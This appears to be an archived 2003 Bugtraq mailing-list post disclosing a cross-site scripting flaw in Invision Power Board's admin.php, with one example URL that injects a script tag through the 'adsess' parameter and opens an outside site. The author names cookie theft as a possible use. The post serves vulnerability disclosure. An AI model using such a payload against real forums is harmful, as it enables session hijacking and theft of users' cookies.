[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

bug in Invision Power Board

To: bugtraq@securityfocus.com
Subject: bug in Invision Power Board
From: Boy Bear <eyal067@walla.co.il>
Date: 9 Aug 2003 08:21:31 -0000


I found possibility to run Script (java Script, VBScript) on the system 
Invision Power Board...
It's possible to do if it much {many} things like a withdrawal of cookie, 
advertising ....


For example:

http://forums.invisionpower.com/admin.php?adsess='>&lt;script&gt;window.open
(window.location.search.substring
(78));&lt;/script&gt;<http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision





BoyBear From BinaryVision ( http://binaryvision.tech.nu )

Prev by Date: [SECURITY] [DSA-367-1] New xtokkaetama packages fix buffer overflow
Next by Date: MDaemon 5.0.5 authentication vulnerability
Prev by thread: [SECURITY] [DSA-367-1] New xtokkaetama packages fix buffer overflow
Next by thread: Re: bug in Invision Power Board
Index(es):
- Date
- Thread